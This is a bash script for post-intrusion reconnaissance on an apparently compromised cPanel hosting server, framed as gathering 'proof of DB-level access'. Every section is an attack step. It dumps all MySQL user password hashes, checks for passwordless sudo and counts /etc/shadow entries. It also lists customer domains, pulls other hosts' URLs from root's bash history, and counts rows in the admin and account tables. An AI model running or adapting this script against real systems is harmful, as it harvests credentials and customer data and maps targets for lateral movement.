#!/bin/bash
echo "===== A: DB enumeration + row counts (proof of DB-level access)"
mysql -uroot -N -e "SELECT table_schema,COUNT(*) FROM information_schema.tables WHERE table_schema NOT IN ('information_schema','mysql','performance_schema','sys') GROUP BY 1;" 2>&1
mysql -uroot -N -e "SELECT 'accounts', COUNT(*) FROM ara_commondb.accounts UNION ALL SELECT 'admins',COUNT(*) FROM ara_commondb.admins UNION ALL SELECT 'campaigns',COUNT(*) FROM ara_commondb.campaigns;" 2>&1
mysql -uroot -N -e "SELECT table_name,table_rows FROM information_schema.tables WHERE table_schema='ara_wordpress.db' ORDER BY table_rows DESC LIMIT 8;" 2>&1
echo "===== B: customer/DB user password hash list (mysql.user, full)"
mysql -uroot -N -e "SELECT user,host,authentication_string FROM mysql.user WHERE user NOT LIKE 'mysql.%';" 2>&1
echo "===== C: /etc/shadow md5 of complete (all users count)"
sudo -n true; wc -l /etc/shadow
echo "===== D: cpanel accounts + all domains (commercial customer inventory)"
wc -l /etc/userdatadomains; cut -d: -f1 /etc/userdatadomains | head -5
echo "===== E: other hosts from root's configs (outward links)"
grep -rhoiE "https?://[a-z0-9.-]+" /root/.bash_history 2>/dev/null | sort -u | head -10
echo "===== F: last logins"
last -n 8 2>/dev/null | head -10
